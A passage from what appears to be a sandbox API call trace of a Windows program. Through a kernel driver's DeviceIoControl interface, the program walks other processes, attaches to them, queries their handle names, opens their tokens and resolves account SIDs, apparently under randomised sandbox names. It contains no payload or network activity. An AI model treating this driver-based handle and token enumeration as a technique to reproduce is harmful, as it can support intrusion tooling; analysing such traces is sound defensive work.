PROCESS=0xfffffa8002110630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880044355d0) [0123.400] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0123.400] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.401] PsReleaseProcessExitSynchronization () returned 0x2 [0123.401] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0123.401] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.401] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0123.401] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.401] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.401] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.401] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.401] PsAcquireProcessExitSynchronization () returned 0x0 [0123.401] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880044355d0) [0123.401] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.401] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.401] PsReleaseProcessExitSynchronization () returned 0x2 [0123.401] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0123.401] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.401] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.401] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.401] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.401] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0123.401] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.401] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0123.401] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.401] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0123.401] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.401] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.401] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.402] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.402] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.403] CloseHandle (hObject=0xc8) returned 1 [0123.403] CloseHandle (hObject=0xc0) returned 1 [0123.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.403] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.403] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.403] PsAcquireProcessExitSynchronization () returned 0x0 [0123.403] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880044355d0) [0123.403] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0123.403] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.403] PsReleaseProcessExitSynchronization () returned 0x2 [0123.403] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0123.403] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.403] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0123.403] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.403] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.403] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0123.403] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.403] PsAcquireProcessExitSynchronization () returned 0x0 [0123.403] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880044355d0) [0123.404] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0123.404] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.404] PsReleaseProcessExitSynchronization () returned 0x2 [0123.404] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0123.404] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.404] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0123.404] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.404] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.404] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.404] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.404] PsAcquireProcessExitSynchronization () returned 0x0 [0123.404] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880044355d0) [0123.404] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.404] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.404] PsReleaseProcessExitSynchronization () returned 0x2 [0123.404] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0123.404] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.404] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.404] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.404] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.404] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0123.404] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.404] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0123.404] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.404] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0123.404] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.404] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.404] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.404] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.404] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.406] CloseHandle (hObject=0xc8) returned 1 [0123.406] CloseHandle (hObject=0xc0) returned 1 [0123.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.406] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.406] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.406] PsAcquireProcessExitSynchronization () returned 0x0 [0123.406] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880044355d0) [0123.406] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0123.406] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.406] PsReleaseProcessExitSynchronization () returned 0x2 [0123.406] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0123.406] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.406] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0123.406] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.406] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.406] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0123.406] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.406] PsAcquireProcessExitSynchronization () returned 0x0 [0123.406] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880044355d0) [0123.407] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0123.407] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.407] PsReleaseProcessExitSynchronization () returned 0x2 [0123.407] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0123.407] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.407] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0123.407] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.407] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.407] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.407] PsAcquireProcessExitSynchronization () returned 0x0 [0123.407] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880044355d0) [0123.407] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.407] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.407] PsReleaseProcessExitSynchronization () returned 0x2 [0123.407] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0123.407] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.407] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.407] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.407] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.407] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0123.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.407] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0123.407] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.407] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0123.407] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.407] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.407] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.407] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.408] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.409] CloseHandle (hObject=0xc8) returned 1 [0123.409] CloseHandle (hObject=0xc0) returned 1 [0123.409] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.409] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.409] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.409] PsAcquireProcessExitSynchronization () returned 0x0 [0123.409] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880044355d0) [0123.409] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0123.409] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.409] PsReleaseProcessExitSynchronization () returned 0x2 [0123.409] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0123.409] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.409] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0123.409] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.409] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.409] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.409] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0123.409] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.409] PsAcquireProcessExitSynchronization () returned 0x0 [0123.409] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880044355d0) [0123.409] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0123.410] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.410] PsReleaseProcessExitSynchronization () returned 0x2 [0123.410] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0123.410] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.410] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0123.410] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.410] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.410] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.410] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.410] PsAcquireProcessExitSynchronization () returned 0x0 [0123.410] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880044355d0) [0123.410] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.410] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.410] PsReleaseProcessExitSynchronization () returned 0x2 [0123.410] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0123.410] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.410] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.410] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.410] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.410] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0123.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.410] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0123.410] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.410] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x12 [0123.410] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.410] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.410] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.410] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.410] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 